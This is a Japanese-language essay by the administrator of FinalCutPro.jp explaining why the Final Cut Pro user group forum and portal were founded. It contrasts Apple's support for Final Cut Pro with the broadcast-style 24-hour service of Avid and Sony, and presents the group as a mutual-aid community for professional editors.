FCP.JP/FCP UGの考え

<少々長いですが、スキルを問わず、取りあえず読み進めてください。>

ソニーのサイトに「SonyHistory」が掲載されています。歴史を知る読み物としても面白いし、規格統一(BとV)の話などは「今読むと」ことさら興味深かったり(BDとHD-D)するわけですが、映像業界としては(現場で格闘してきた職人方から見れば様々な意見もあるのでしょうけど)事実上ソニーは外せないわけで、とりわけ(VTRやスイッチャーなどの制作用)放送用機器はデファクトスタンダードとしてソニーありきでないと話は進まないわけです。

で、そうした現状の地位を築いてきた過程での苦労が語られているひとつ「第2部 第4章 第1話 「24時間サービス体制」」を読んでいて、大事だな、と思ったわけです。


数年前からノンリニアの流れができ始め、あっという間に卓上お手軽コンテンツ制作が裾野を拡げてしまったなかで、「市場の触発と活性化」というのがFCPの担ってきた役割のひとつの大きな要素ではないかと思うのですが、しかし、未だに業界では草分けである「Avid」の名が盤石(?)で、(実態は様々ご意見あると思いますが)確固たるブランドになっているのも事実で、FCPの開発チームも「打倒Avid」を掲げてはいるものの、Avidの主戦場を覆すには今一歩至っていないように思えるわけです。

両者の生い立ちそのものが大きく違い、歴史の差もあるとは思いますが、とりわけ信頼面で大きな差を生んでいるのは、Avidはソニーと同じく「放送業界の中で育ってきた」つまり、(実際はソニーの美談だけではないにしても)このエピソード「24時間サービス体制」のような、いわば“現場との二人三脚”的歴史の有無ではないかと思うのです。極端な表現をすれば、放送業界というミッション・クリティカルな制作現場に参入するにあたっての、文中の「サービスのできない所へ売っては駄目だ」の精神、「Avidは、その場で直さないと生き残っていけない放送機器畑」「アップルは、次に直せばいいパソコン屋」(あるいはエンドユーザーとメーカーの違い)である、と。

アップルもプラットフォームとして歩みを同じくしてはいたものの、(その技術的なフィードバックがFCPに活かされているとはいえ、)Avid(当時は主にMediaComposer)システムのサポート自体はアップルがやっていたわけではなく、代理店が「MediaComposerのサポート」としてそれなりの体制で対応していたわけで、深夜や朝方でも少なくとも電話で応対してくれるのは体制を作っていたAvid/代理店であったわけです(私も新人としてそうした現場に居合わせました)。(開発レベルではAvid/Appleも二人三脚であったかもしれませんが、)実際に一番苦労したのは、現場の要望とそれを動かすMac/システムのトラブルとの板挟みであったサポート担当の方ではないかと思われますが、とにかくそうした歴史の中で築いてきた信頼が、業界でのトップ「ブランド」として選ばれる要因であるのは間違いないでしょう。

こう感じるのは、現場で使っているプロの方達の中で「サポート」に対する不満や懸念が一番多く聞かれるからなのです。実際、2004年からスタートした旧FCPUGMLでも、「たらい回しにされた」「良く分かっていない販社に無用な費用を払う羽目になった」といった話題がありましたし、ビジネス的にも歴史的な面からも、FCPに関連するノウハウをもった販社が日本全国のユーザーをカバーするにはほど遠い数なのが実情なのでしょう。

しかし、現実には番組やVPなどの編集の世界は昼夜関係ないわけですから、とにかく夜中でも早朝でもトラブルが起こったら何とかしなければなりません。そうなったとき、「高くてもAvidのほうが安心」という判断が根強いのは、FCPには例え有料であってもそのようなバックボーンがない以上当然ともいえるのではないかと感じてなりません。

また、ビデオ信号やデッキコントロールの信頼性に対するノウハウ、技術力(というか考え方、取り組み姿勢)も、それそのものを商品としているメーカーと、商品のひとつとして売っているメーカーとは必然的に差が出るのも無理はないのかと。「売りっぱなし」ではなく、こうした“根幹部分”に力が入れば、いよいよアップルが業界のトップブランドを本当に脅かす事になるでしょうし、我々も安心して今以上に仕事を「任せられる」製品に成長していくと思います。

とはいえ、(プラットフォームメーカーという強大な地位にもよりますが、)過去様々なノンリニア製品やボード類が出ては消えていった中で上向きの成長をしているのも事実で、価格・機能・使いやすさ等々他には代えがたい魅力、製品そのものの良さがあってこそ、ユーザーが増えているわけですし、Macプラットフォーム拡大のキラーアプリとして価格に対してインターフェースや機能などは明らかに抜きんでているのも低予算時代には大きな恩恵であると思います。

#フロンティアである業界製品メーカーは、総じてモリサワのフォントやQuarkプラグインのごとく、機能や意匠を商品差別化に当てていく商売なので、特に物販ではないソフトウェア産業では消費者感覚的には「それがそんなに高いの?」と思えるのも致し方ないのですが。また、ある意味サードパーティー潰しともいわれる「プラットフォームメーカーの実力行使」の直撃を受けたメーカーや販社の方の心情も伺ってはいますが、ユーザーとしては「手元に何があるか」が第一だったりしまして…

ですから、この度FCPUGを大規模掲示板群の形にしたのも、こうしたサポート体制の貧弱さを少しでもカバーできる場を用意したいという考えからで、メーカーがエンドユーザーの視点になかなか立てないのなら、ユーザーがそうした場を作ろう、という発想であり、その価値は十分にあると思っています。

また、専門用語や歴史を書き連ねたここまでの話を「難しい」「わからない」と感じる、業界的にもスキル的にも新しいユーザーの方もたくさんおられ、そうした方も/こそ情報や交流の場を求めている面もあり、このようなユーザーの方々にも気安く使って頂けるように意図して掲示板の項目を考えています。

地域や場所、時間を限定せず、メーカーの縛りもなく、自分たちでカスタマイズしていけるというメリットを最大限に活かしていければと思っていますので、従来のコミュニティ同様、自ずと情報源はそれぞれが持ち寄ることになります。ですから、利用なさる方は「相互扶助」の精神を重視していただきたいと思います。

こうした理由から、FCPUGはMacユーザーの歴史の中で古くから根づいているいわゆる「MacUserGroup」とは少し趣が違います。しかし、製品の性格に合わせて、「フレンドリーなMacそのものを楽しもう」「コンシューマー製品のユーザー同士で親交を深めよう」というグループと同じく「プロが使う道具のグループ」としてこういう形が合ってもよいのではないかと思っています。

併せて、FCPユーザーに特化して様々な場所に点在する情報を集めるポータルサイトが必要だとも常々考えており、その前身であるFinalCutProUnofficialを土台として”FinalCutPro.jp”をスタートさせました。
こちらは管理者自身が得た情報の他に、UG掲示板で集まった情報を整理し、まとめていく場にしたいと考えています。

根底には管理者自身(や、多くのFCPユーザー仲間)の「あったらいいな」があるわけですが、賛同頂ける方が多く集ってくだされば幸いと思っている次第です。

FinalCutPro.jp管理人/FinalCutProUserGroup代表
松原雅人

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